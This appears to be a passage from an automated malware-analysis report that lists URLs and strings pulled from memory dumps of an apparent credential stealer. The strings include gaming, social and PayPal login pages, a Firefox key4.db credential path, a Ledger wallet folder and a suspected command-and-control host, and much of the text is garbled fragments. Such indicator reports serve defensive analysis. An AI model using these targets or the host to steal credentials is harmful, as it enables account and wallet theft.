"https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.Esgs9sUIcrA.es5.O/am=P4GFZI4NgBgzyzl_zzg5DAAAAAAAAAAAsAawAw/d=1/excm=_b,_tp,identifierview/ed=1/dg=0/wt=2/ujg=1/rs=AOaEmlH7PzU0xJlt26l3lAuQiC9uvvi0-Q/m=_b,_tp" Pattern match: "fonts.gstatic.com/s/roboto/v18/KFOkCnqEu92Fr1MmgVxFIzIXKMnyrYk.woff2" Heuristic match: "ctldl.windowsupdate.com" Heuristic match: "%TEMP%\tempCMS4CRoIeEXM83E\Games\Battle.net" Heuristic match: "PATHEXT=.CO" Heuristic match: "Qh.nF" Heuristic match: "GfB.lT" Heuristic match: "tr.to" Heuristic match: "0O.LC" Heuristic match: "ccounts.google.com" Heuristic match: "picgames.com" Heuristic match: "witter.com" Pattern match: "www.facebook.com/login" Heuristic match: "acebook.com" Pattern match: "twitter.com/i/flow/login" Heuristic match: "tore.steampowered.com" Pattern match: "store.steampowered.com/login" Pattern match: "www.epicgames.com/id/login" Heuristic match: "community.com" Pattern match: "steamcommunity.com/openid/loginform" Heuristic match: "teamcommunity.com"58:Tae94,Found URL "https://steamcommunity.com/openid/loginformhttps://steamcommunity.com/openid/loginformhttps://steamcommunity.com/openid/loginformhttps://steamcommunity.com/openid/loginform:\windows\system32\userenv.dll:\windows\system32\profapi.dll:\windows\system32\psapi.dll:\windows\system32\comdlg32.dll-1-o:\windows\system32\oleaut32.dll-1-i:\windows\system32\iphlpapi.dll:\windows\system32\winnsi.dll:\windows\system32\uxtheme.dll:\windows\system32\shell32.dll:\windows\system32\ole32.dll:\windows\system32\apphelp.dll:\windows\system32\sspicli.dll:\windows\system32\samcli.dll:\windows\system32\msacm32.dll:\windows\system32\sfc_os.dll:\windows\system32\dwmapi.dll:\windows\system32\devobj.dll:\windows\system32\urlmon.dll:\windows\system32\imm32.dll:\windows\system32\msctf.dll:\windows\system32\driverstorellusersprofile=c:\programdatarogramfiles=c:\program" - Source: "00000000-00001640.00000000.66632.005A0000.00000004.mdmp") Found URL "https://steamcommunity.com/openid/loginform09d-45b2-8b8d-2e5e1d522649istry\user\s-1-5-21-2092356043-4041700817-663127204-1001_classess://steamcommunity.com/openid/loginformc:\program" - Source: "00000000-00001640.00000000.66632.005A0000.00000004.mdmp") Found URL "https://store.steampowered.com/logstore.steampowl/loginystem32\ieframe.dllc:\users\hapubws\appdata\local\temp\ixp002.tmphttps://steamcommunity.com/openid/loginform-downlevel-advapi32-l2-1-0.dll:\program" - Source: "00000000-00001640.00000000.66632.005A0000.00000004.mdmp") Found URL "https://steamcommunity.com/openid/loginform:\program" - Source: "00000000-00001640.00000000.66632.005A0000.00000004.mdmp") Found URL "https://www.facebook.com/login:\program" - Source: "00000000-00001640.00000000.66632.005A0000.00000004.mdmp") Found URL "https://twitter.com/i/flow/login\?\volume" - Source: "00000000-00001640.00000000.66632.005A0000.00000004.mdmp") Found URL "https://steamcommunity.com/openid/loginformc:\program" - Source: "00000000-00001640.00000000.66632.005A0000.00000004.mdmp") Found URL "https://twitter.com/i/flow/loginttps://store.steampowered.com/loginttps://store.steampowered.com/logindiagnosticshub.datawarehouse.dll:\0f78b956-909d-45b2-8b8d-2e5e1d522649normaliz.dllnormidna.nnormnfc.nlsnormnfnormnfkc.nlsd.nlsnotepad.exeproxy.dllnrpsrv.dllnshhttp.dllnshipsec.dllnshwfp.dllnsisvc.dllnslookup.exentdos4ntdos411.sys2.sysntdos804.syssapi.dllntio404.sysntio411.sysntio412.sysntio804.sysntkrnlpa.entlanman.dllntlanulntmarta.dlll.exentprint.dllrint.exentshrui.dllntvdmd.dllobjsel.dlloccache.dllocsetapi.duocsetup.exeodbc16.odbc32.dll.dllodbcad32.exebcp.dllodbcconf.dllodbcconf.exeodbcconf.rspodbccp32.dllodbccr32.dodbccu32.dllodbcinodbcji32.dll.dllodbctrac.dllse32.dllodexl32.dllodfox32.dllodpdx32.dllodtext32.dllofffilt.dloflc-nz.rsogldrvole2disp.dlloleacc.dllccrc.dlloleaut32.dllolecli.dllolecli32.dlloledlg.dlloleprn.dllkolepro32.dlloleresdolesvr.dll.dllolethk32.dllc:\users\hapubws\appdata\local\temp\ixp002.tmphttps://steamcommunity.com/openid/loginformistry\user\s-1-5-21-2092356043-4041700817-663127204-1001\appdata\local\phon36-32x\hapubws\app\local\progr:\windows\system;c:\windows;.;c:;;c:+apubwsndir=cndowsows_trg_fld0-94f2-00a0c91efb8b" - Source: "00000000-00001640.00000000.66632.005A0000.00000004.mdmp") Found URL "https://twitter.com/i/flow/logintc" - Source: "00000000-00001640.00000000.66632.005A0000.00000004.mdmp") Found URL "https://steamcommunity.com/openid/loginform:\windows\system32\userenv.dll:\windows\system32\profapi.dll:\windows\system32\psapi.dll:\windows\system32\comdlg32.dll-1-o:\windows\system32\oleaut32.dll-1-i:\windows\system32\iphlpapi.dll:\windows\system32\winnsi.dll:\windows\system32\uxtheme.dll:\windows\system32\shell32.dll:\windows\system32\ole32.dll:\windows\system32\apphelp.dll:\windows\system32\sspicli.dll:\windows\system32\samcli.dll:\windows\system32\msacm32.dll:\windows\system32\sfc_os.dll:\windows\system32\dwmapi.dll:\windows\system32\devobj.dll:\windows\system32\urlmon.dll:\windows\system32\imm32.dll:\windows\system32\msctf.dll\windows\system32\driverstorellusersprofile=c:\programdatarogramfiles=c:\program" - Source: "00000000-00001640.00000001.66952.005A0000.00000004.mdmp") Found URL "https://www.paypal.com/signinportabledevicewiacompat.dll:\windows\system32\propsys.dllprintfilterpipelineprxy.dllprintfilterpipelinesvc.exepushprinterconnections.exettps://www.epicgames.com/id/loginarse" - Source: "00000000-00001640.00000001.66952.005A0000.00000004.mdmp") Found URL "https://www.youtube.com/https://www.youtube.com/api-ms-win-core-rtlsupport-l1-1-0.dllapi-ms-win-core-sysinfo-l1-1-0.dllapi-ms-win-core-threadpool-l1-1-0.dllapi-ms-win-crt-filesystem-l1-1-0.dllhttps://www.youtube.com/ttps://steamcommunity.com/openid/loginformttps://steamcommunity.com/openid/loginformapi-ms-win-security-sddl-l1-1-0.dllhttps://www.youtube.com/https://www.youtube.com/auxiliarydisplayclassinstaller.dllommonprogramfiles=c:\program" - Source: "00000000-00001640.00000001.66952.005A0000.00000004.mdmp") Found URL "https://www.epicgames.com/id/login09d-45b2-8b8d-2e5e1d522649istry\user\s-1-5-21-2092356043-4041700817-663127204-1001_classess://www.linkedin.com/loginc:\program" - Source: "00000000-00001640.00000001.66952.005A0000.00000004.mdmp") Found URL "https://www.youtube.com/-downlevel-advapi32-l2-1-0.dllhttps://www.linkedin.com/loginhttps://www.linkedin.com/login:\program" - Source: "00000000-00001640.00000001.66952.005A0000.00000004.mdmp") Found URL "https://www.linkedin.com/loginhttps://www.linkedin.com/login:\users\hapubws\appdata\local\temp\ixp002.tmp:\program" - Source: "00000000-00001640.00000001.66952.005A0000.00000004.mdmp") Found URL "https://www.linkedin.com/login:\program" - Source: "00000000-00001640.00000001.66952.005A0000.00000004.mdmp") Found URL "https://www.epicgames.com/id/login\hapubws\appdata\local\programs\python\python36-32\console.dllcontrol.execonvert.exebcountry.syscpfilters.dllcredssp.dllcredui.dllcredwiz.execrtdll.dllcrypt32.dllcryptbase.dllcryptdlg.dllcryptdll.dllcryptext.dllcryptnet.dllcryptsp.dllcryptsvc.dllcryptui.dllcryptxml.dllcscapi.dllcscdll.dllcscmig.dllcscobj.dllcscript.execscsvc.dllcsrsrv.dllcsrstub.exectfmon.exectl3d32.dllctl3dv2.dllcttune.execttunesvr.exec_10000.nlsc_10001.nlsc_10002.nlsc_10003.nlsc_10004.nlsc_10005.nlsc_10006.nlsc_10007.nlsc_10008.nlsc_10010.nls-209235clsid\" - Source: "00000000-00001640.00000001.66952.005A0000.00000004.mdmp") Found URL "https://www.epicgames.com/id/loginhttps://www.epicgames.com/id/loginhttps://www.epicgames.com/id/loginhttps://www.epicgames.com/id/logineline.dllfdbth.dllfde.dllnp.dllfdwsd.find.exefltmc.exefs.dll.rsbfphc.dllftp.exeafveui.dllfg.dllfxstmp" - Source: "00000000-00001640.00000001.66952.005A0000.00000004.mdmp") Found URL "https://www.linkedin.com/loginatepro\windows\system32;c:\windows\system;c:\windows;.;c:\programdata\oracle\java\javapath;c:\windows\system32;c:\windows;c:\windows\system32\wbem;c:\windows\system32\windowspowershell\v1.0\;c:\users\hapubws\appdata\local\programs\python\python38-32\scripts\;c:\users\hapubws\appdata\local\programs\python\python38-32\;c:\users\hapubws\appdata\local\programs\python\python36-32\scripts\;c:\users\hapubws\appdata\local\programs\python\python36-32\c:\program" - Source: "00000000-00001640.00000001.66952.005A0000.00000004.mdmp") Found URL "https://www.linkedin.com/loginttps://store.steampowered.com/loginttps://store.steampowered.com/login:\0f78b956-909d-45b2-8b8d-2e5e1d522649:\0f78b956-909d-45b2-8b8d-2e5e1d522649normaliz.dllnormidna.nnormnfc.nlsnormnfnormnfkc.nlsd.nlsnotepad.exeproxy.dllnrpsrv.dllnshhttp.dllnshipsec.dllnshwfp.dllnsisvc.dllnslookup.exentdos4ntdos411.sys2.sysntdos804.syssapi.dllntio404.sysntio411.sysntio412.sysntio804.sysntkrnlpa.entlanman.dllntlanulntmarta.dlll.exentprint.dllrint.exentshrui.dllntvdmd.dllobjsel.dlloccache.dllocsetapi.duocsetup.exeodbc16.odbc32.dll.dllodbcad32.exebcp.dllodbcconf.dllodbcconf.exeodbcconf.rspodbccp32.dllodbccr32.dodbccu32.dllodbcinodbcji32.dll.dllodbctrac.dllse32.dllodexl32.dllodfox32.dllodpdx32.dllodtext32.dllofffilt.dloflc-nz.rsogldrvole2disp.dlloleacc.dllccrc.dlloleaut32.dllolecli.dllolecli32.dlloledlg.dlloleprn.dllkolepro32.dlloleresdolesvr.dll.dllolethk32.dllc:\users\hapubws\appdata\local\temp\ixp002.tmphttps://www.linkedin.com/login\appdata\local\phon36-32x\hapubws\app\local\progr:\windows\system;c:\windows;.;c:;;c:+apubwsndir=cndowsows_trg_fld0-94f2-00a0c91efb8b" - Source: "00000000-00001640.00000001.66952.005A0000.00000004.mdmp") Found URL "https://www.linkedin.com/login.dllwpcmig.dllwpcsvc.dllwpcumi.dllwpdshext.dllwpdwcn.dllwpd_ci.dllwpnpinst.exews2help.dllws2_32.dllwscapi.dllwscisvif.dllwscript.exewscsvc.dllwsdapi.dllwsdchngr.dllwsdmon.dllwsecedit.dllwsepno.dllwshbth.dllwshcon.dllwshelper.dllwshext.dllwship6.dllwshirda.dllwshnetbs.dllwshqos.dllwshtcpip.dllwsmauto.dllwsmplpxy.dllwsmpty.xslwsmres.dllwsmsvc.dllwsmtxt.xslwsmwmipl.dllwsnmp32.dllwsock32.dllwsqmcons.exewstpager.axwtsapi32.dllwuauclt.exewuaueng.dllwucltux.dllwudfhost.exewudfsvc.dllwudriver.dllwuwebv.dllwwanadvui.dllwwanapi.dllwwancfg.dllwwanconn.dllwwanhc.dllwwaninst.dllwwanmm.dllwwanpref.dllwwansvc.dllwzcdlg.dllxmlfilter.dllxmllite.dllxmlprovi.dllxpsrchvw.xmlxpsshhdr.dllxpssvcs.dllxwizard.dtdzard.exexwizards.dllxwtpdui.dllxwtpw32.dll.dllz8z8ztc" - Source: "00000000-00001640.00000001.66952.005A0000.00000004.mdmp") Found URL "http://soupinterestoe.fun/api7" - Source: "00000000-00002216.00000000.69823.0034E000.00000004.mdmp") Found URL "http://soupinterestoe.fun/api!" - Source: "00000000-00002216.00000000.69823.0034E000.00000004.mdmp") Found URL "https://www.cloudflare.com/5xx-error-landing" - Source: "00000000-00002216.00000000.69823.0034E000.00000004.mdmp") Found URL "https://www.cloudflare.com/5xx-error-landing" - Source: "00000000-00002216.00000000.69823.008A0000.00000004.mdmp") Found URL "http://soupinterestoe.fun/api7" - Source: "00000000-00002216.00000001.71748.0034E000.00000004.mdmp") Found URL "http://soupinterestoe.fun/api!" - Source: "00000000-00002216.00000001.71748.0034E000.00000004.mdmp") Found URL "https://www.cloudflare.com/5xx-error-landing" - Source: "00000000-00002216.00000001.71748.0034E000.00000004.mdmp") Found URL "http://soupinterestoe.fun/http://soupinterestoe.fun/appdatapplication" - Source: "00000000-00002216.00000001.71748.008A0000.00000004.mdmp") Found URL "http://soupinteres??\c:\users\hapubws\appdata\roaming\mozilla\firefox\profiles\mj0wtyin.default-1692790883487\key4.db??\c:\users\hapubws??\c:\users\hapubws??\c:\users\hapubws\appdata??\c:\users\hapubws\appdata??\c:\users\hapubws\appdata\local??\c:\users\hapubws\appdata\localttp://soupinterestoe.fun/api)=http://soupinterestoe.fun/ttp://soupinterestoe.fun/ttp://soupinterestoe.fun/ttp://soupinterestoe.fun/http://soupinterestoe.fun/ttp://soupinterestoe.fun/rowser\vmj0wtyin.default-1692790883487appdatapplication" - Source: "00000000-00002216.00000001.71748.008A0000.00000004.mdmp") Found URL "https://www.cloudflare.com/5xx-error-landing" - Source: "00000000-00002216.00000001.71748.008A0000.00000004.mdmp") Found URL "http://soupinterestoe.fun/api7" - Source: "00000000-00002216.00000002.73669.0034E000.00000004.mdmp") Found URL "http://soupinterestoe.fun/api!" - Source: "00000000-00002216.00000002.73669.0034E000.00000004.mdmp") Found URL "https://www.cloudflare.com/5xx-error-landing" - Source: "00000000-00002216.00000002.73669.0034E000.00000004.mdmp") Found URL "http://soupinterestoe.fun/http://soupinterestoe.fun/appdatapplication" - Source: "00000000-00002216.00000002.73669.008A0000.00000004.mdmp") Found URL "http://soupinteres??\c:\users\hapubws\appdata\roaming\mozilla\firefox\profiles\mj0wtyin.default-1692790883487\key4.db??\c:\users\hapubws??\c:\users\hapubws??\c:\users\hapubws\appdata??\c:\users\hapubws\appdata??\c:\users\hapubws\appdata\local??\c:\users\hapubws\appdata\local??\c:\users\hapubws\appdata\local\adobe??\c:\users\hapubws\appdata\local\application" - Source: "00000000-00002216.00000002.73669.008A0000.00000004.mdmp") Found URL "http://soupinterestoe.fun/ttp://soupinterestoe.fun/ttp://soupinterestoe.fun/ttp://soupinterestoe.fun/http://soupinterestoe.fun/ttp://soupinterestoe.fun/rowser\vmj0wtyin.default-1692790883487appdatapplication" - Source: "00000000-00002216.00000002.73669.008A0000.00000004.mdmp") Found URL "https://www.cloudflare.com/5xx-error-landing" - Source: "00000000-00002216.00000002.73669.008A0000.00000004.mdmp") Found URL "http://soupinterestoe.fun/api7" - Source: "00000000-00002216.00000003.76174.0034E000.00000004.mdmp") Found URL "http://soupinterestoe.fun/api!" - Source: "00000000-00002216.00000003.76174.0034E000.00000004.mdmp") Found URL "https://www.cloudflare.com/5xx-error-landing" - Source: "00000000-00002216.00000003.76174.0034E000.00000004.mdmp") Found URL "http://soupinterestoe.fun/apittp://soupinterestoe.fun/apitsenumerateprocessesexwionwpcserverregisterseswpcserverregisterseswpcserverregisterseswcserverregistersesw:\users\hapubws\appdata\roaming\ledger" - Source: "00000000-00002216.00000003.76174.008A0000.00000004.mdmp") Found URL "http://soupinteres??\c:\users\hapubws\appdata\roaming\mozilla\firefox\profiles\mj0wtyin.default-1692790883487\key4.db??\c:\users\hapubws??\c:\users\hapubws??\c:\users\hapubws\appdata??\c:\users\hapubws\appdata??\c:\users\hapubws\appdata\local??\c:\users\hapubws\appdata\local??\c:\users\hapubws\appdata\local\adobe??\c:\users\hapubws\appdata\local\application" - Source: "00000000-00002216.00000003.76174.008A0000.00000004.mdmp") Found URL "http://soupinterestoe.fun/apittp://soupinterestoe.fun/ttp://soupinterestoe.fun/ttp://soupinterestoe.fun/http://soupinterestoe.fun/ttp://soupinterestoe.fun/mj0wtyin.default-1692790883487pc:[dns'ver,sec*=impers-on" - Source: "00000000-00002216.00000003.76174.008A0000.00000004.mdmp") Found URL "https://www.cloudflare.com/5xx-error-landing" - Source: "00000000-00002216.00000003.76174.008A0000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00003776.00000000.67299.00390000.00000004.mdmp") Found URL "https://t.me/riseprosupport" - Source: "00000000-00003776.00000000.67299.022E0000.00000004.mdmp") Found URL "https://t.me/riseprosupportdefault1.1.1.1invariant" - Source: "00000000-00003776.00000000.67299.022E0000.00000004.mdmp") Found URL "http://user.configfile:.configfile://datadirectoryfile:http:\\?\globalroot" - Source: "00000000-00003776.00000000.67299.022E0000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00003776.00000000.67299.022E0000.00000004.mdmp") Found URL "http://www.w3.org/2000/09/xmldsig" - Source: "00000000-00003776.00000000.67299.022E0000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00003776.00000001.69223.00390000.00000004.mdmp") Found URL "http://isrg.trustid.ocsp.identrust.com0;/http://apps.identrust.com/roots/dstrootcax3.p7c0m0k0000." - Source: "00000000-00003776.00000001.69223.00390000.00000004.mdmp") Found URL "http://cps.root-x1.letsencrypt.org0<50301+http://crl.identrust.com/dstrootcax3crl.crl0ig'" - Source: "00000000-00003776.00000001.69223.00390000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00003776.00000001.69223.00390000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-53902ol!o!yj>9iqmgvw,czclmemlet's" - Source: "00000000-00003776.00000001.69223.00390000.00000004.mdmp") Found URL "http://r3.o.lencr.org0" - Source: "00000000-00003776.00000001.69223.00390000.00000004.mdmp") Found URL "http://r3.i.lencr.org/0*.company.io" - Source: "00000000-00003776.00000001.69223.00390000.00000004.mdmp") Found URL "http://x1.i.lencr.org/0'http://x1.c.lencr.org/0" - Source: "00000000-00003776.00000001.69223.00390000.00000004.mdmp") Found URL "http://apps.identrust.com/roots/dstrootcax3.p7c0m0k0000." - Source: "00000000-00003776.00000001.69223.00390000.00000004.mdmp") Found URL "http://cps.root-x1.letsencrypt.org0<50301+http://crl.identrust.com/dstrootcax3crl.crl0;l)" - Source: "00000000-00003776.00000001.69223.00390000.00000004.mdmp") Found URL "http://g.symcd.com0e0c0a60301%http://www.geotrust.com/resources/cps06/0-0+%http://g.symcb.com/geotrustpca-g3.crl0symantecpki-1-697033ti^l" - Source: "00000000-00003776.00000001.69223.00390000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00003776.00000001.69223.00390000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00003776.00000001.69223.00390000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0izttpsalt" - Source: "00000000-00003776.00000001.69223.00390000.00000004.mdmp") Found URL "http://www.usertrust.com1utn-userfirst-hardware0110315000000z140314235959z0384771florida1english1sea" - Source: "00000000-00003776.00000001.69223.00390000.00000004.mdmp") Found URL "https://secure.comodo.com/cps0" - Source: "00000000-00003776.00000001.69223.00390000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com05addons.mozilla.orgwww.addons.mozilla.org0zsb)j9e/9ckxsalt" - Source: "00000000-00003776.00000001.69223.00390000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0%www.google.comgoogle.com0io]l,e9n0p1+0)" - Source: "00000000-00003776.00000001.69223.00390000.00000004.mdmp") Found URL "http://www.public-trust.com/cps/omniroot.html0w0u1gte" - Source: "00000000-00003776.00000001.69223.00390000.00000004.mdmp") Found URL "http://www.public-trust.com/cgi-bin/crl/2018/cdp.crl0dmxt*j]+xijom5oentrust.net1;092www.entrust.net/cps" - Source: "00000000-00003776.00000001.69223.00390000.00000004.mdmp") Found URL "http://ocsp.entrust.net03,0*0(" - Source: "00000000-00003776.00000001.69223.00390000.00000004.mdmp") Found URL "http://crl.entrust.net/server1.crl0;8kbv7.1q7z?,entrust.net1;092www.entrust.net/cps" - Source: "00000000-00003776.00000001.69223.00390000.00000004.mdmp") Found URL "http://crl.entrust.net/server1.crl0;8kbv7.11c)d[b" - Source: "00000000-00003776.00000001.69223.00390000.00000004.mdmp") Found URL "http://www.diginotar.nl/cps/pkioverheid0w0u1staat" - Source: "00000000-00003776.00000001.69223.00390000.00000004.mdmp") Found URL "http://crl.pkioverheid.nl/domovlatestcrl.crl0]ko)tsz'salt" - Source: "00000000-00003776.00000001.69223.00390000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0/login.skype.comwww.login.skype.com0ynsl" - Source: "00000000-00003776.00000001.69223.00390000.00000004.mdmp") Found URL "http://cybertrust.omniroot.com/repository.cfm0w0u1gte" - Source: "00000000-00003776.00000001.69223.00390000.00000004.mdmp") Found URL "http://www.public-trust.com/cgi-bin/crl/2018/cdp.crl0j)z" - Source: "00000000-00003776.00000001.69223.00390000.00000004.mdmp") Found URL "http://www.usertrust.com1utn-userfirst-hardware0110315000000z140314235959z0384771florida1tampa1sea" - Source: "00000000-00003776.00000001.69223.00390000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0global" - Source: "00000000-00003776.00000001.69223.00390000.00000004.mdmp") Found URL "http://www.diginotar.nl/cps/pkioverheid0\0z1staat" - Source: "00000000-00003776.00000001.69223.00390000.00000004.mdmp") Found URL "http://crl.pkioverheid.nl/domorganisatielatestcrl-g2.crl0^tl*" - Source: "00000000-00003776.00000001.69223.00390000.00000004.mdmp") Found URL "https://www.verisign.com/repository/cpsthis" - Source: "00000000-00003776.00000001.69223.06BD0000.00000004.mdmp") Found URL "https://www.verisign.com;" - Source: "00000000-00003776.00000001.69223.06BD0000.00000004.mdmp") Found URL "https://www.verisign.com/repository/verisignlogo.gif0d=0;090*0(https://www.verisign.com/rpa0f$\_)$bf!work1!0" - Source: "00000000-00003776.00000001.69223.06BD0000.00000004.mdmp") Found URL "https://www.verisign.com/repository/verisignlogo.gif0d=0;090*0(https://www.verisign.com/rpa0(+pw)salt" - Source: "00000000-00003776.00000001.69223.06BD0000.00000004.mdmp") Found URL "http://www.usertrust.com1utn-userfirst-hardware0110315000000z140314235959z0384771florida1english1sea" - Source: "00000000-00003776.00000001.69223.06BD0000.00000004.mdmp") Found URL "https://secure.comodo.com/cps0" - Source: "00000000-00003776.00000001.69223.06BD0000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0/login.yahoo.comwww.login.yahoo.com0yvr," - Source: "00000000-00003776.00000001.69223.06BD0000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0/mail.google.comwww.mail.google.com0?=*k!\yro2;nsalt" - Source: "00000000-00003776.00000001.69223.06BD0000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0-login.live.comwww.login.live.com0nwk1uy1un:ki0!!salt" - Source: "00000000-00003776.00000001.69223.06BD0000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0login.yahoo.com0kw(=n" - Source: "00000000-00003776.00000001.69223.06BD0000.00000004.mdmp") Found URL "http://ocsp.entrust.net0d=0;09000." - Source: "00000000-00003776.00000001.69223.06BD0000.00000004.mdmp") Found URL "http://www.digicert.com.my/cps.htm02+0)0'!http://crl.entrust.net/2048ca.crl09yk3y!gte" - Source: "00000000-00003776.00000001.69223.06BD0000.00000004.mdmp") Found URL "http://www.public-trust.com/cps/omniroot.html0w0u1gte" - Source: "00000000-00003776.00000001.69223.06BD0000.00000004.mdmp") Found URL "http://www.public-trust.com/cgi-bin/crl/2018/cdp.crl0\0" - Source: "00000000-00003776.00000001.69223.06BD0000.00000004.mdmp") Found URL "http://www.diginotar.nl/cps/pkioverheid0w0u1staat" - Source: "00000000-00003776.00000001.69223.06BD0000.00000004.mdmp") Found URL "http://crl.pkioverheid.nl/domovlatestcrl.crl00ev" - Source: "00000000-00003776.00000001.69223.06BD0000.00000004.mdmp") Found URL "http://www.public-trust.com/cgi-bin/crl/2018/cdp.crl0or" - Source: "00000000-00003776.00000001.69223.06BD0000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0login.yahoo.com0entrust.net1;092www.entrust.net/cps" - Source: "00000000-00003776.00000001.69223.06BD0000.00000004.mdmp") Found URL "http://ocsp.entrust.net03,0*0(" - Source: "00000000-00003776.00000001.69223.06BD0000.00000004.mdmp") Found URL "http://crl.entrust.net/server1.crl0v7.1ctj7+>.entruspijlf0cth" - Source: "00000000-00003776.00000001.69223.06BD0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0>ej-+\lu>gvpob\hzagxr" - Source: "00000000-00003776.00000001.69223.06BD0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?il" - Source: "00000000-00003776.00000001.69223.06BD0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnk't" - Source: "00000000-00003776.00000001.69223.06BD0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0ta[17iusai:" - Source: "00000000-00003776.00000001.69223.06BD0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00003776.00000001.69223.06BD0000.00000004.mdmp") Found URL "http://www.microsoft.com0gt:(y<%qtz-r9lv<;7=_somj," - Source: "00000000-00003776.00000001.69223.06BD0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/prodoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_20rt07ya'4iy()>@6t+a6" - Source: "00000000-00003776.00000001.69223.06BD0000.00000004.mdmp") Found URL "http://www.microsoft.com0!aob$lb" - Source: "00000000-00003776.00000001.69223.06BD0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0j!p-f+;z" - Source: "00000000-00003776.00000001.69223.06BD0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0j!p-f+;z" - Source: "00000000-00003776.00000001.69223.085D0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00003776.00000001.69223.085D0000.00000004.mdmp") Found URL "http://www.microsoft.com0!aob$lb" - Source: "00000000-00003776.00000001.69223.085D0000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00003776.00000002.69436.00390000.00000004.mdmp") Found URL "http://isrg.trustid.ocsp.identrust.com0;/http://apps.identrust.com/roots/dstrootcax3.p7c0m0k0000." - Source: "00000000-00003776.00000002.69436.00390000.00000004.mdmp") Found URL "http://cps.root-x1.letsencrypt.org0<50301+http://crl.identrust.com/dstrootcax3crl.crl0ig'" - Source: "00000000-00003776.00000002.69436.00390000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00003776.00000002.69436.00390000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-53902ol!o!yj>9iqmgvw,czclmemlet's" - Source: "00000000-00003776.00000002.69436.00390000.00000004.mdmp") Found URL "http://r3.o.lencr.org0" - Source: "00000000-00003776.00000002.69436.00390000.00000004.mdmp") Found URL "http://r3.i.lencr.org/0*.company.io" - Source: "00000000-00003776.00000002.69436.00390000.00000004.mdmp") Found URL "http://x1.i.lencr.org/0'http://x1.c.lencr.org/0" - Source: "00000000-00003776.00000002.69436.00390000.00000004.mdmp") Found URL "http://apps.identrust.com/roots/dstrootcax3.p7c0m0k0000." - Source: "00000000-00003776.00000002.69436.00390000.00000004.mdmp") Found URL "http://cps.root-x1.letsencrypt.org0<50301+http://crl.identrust.com/dstrootcax3crl.crl0;l)" - Source: 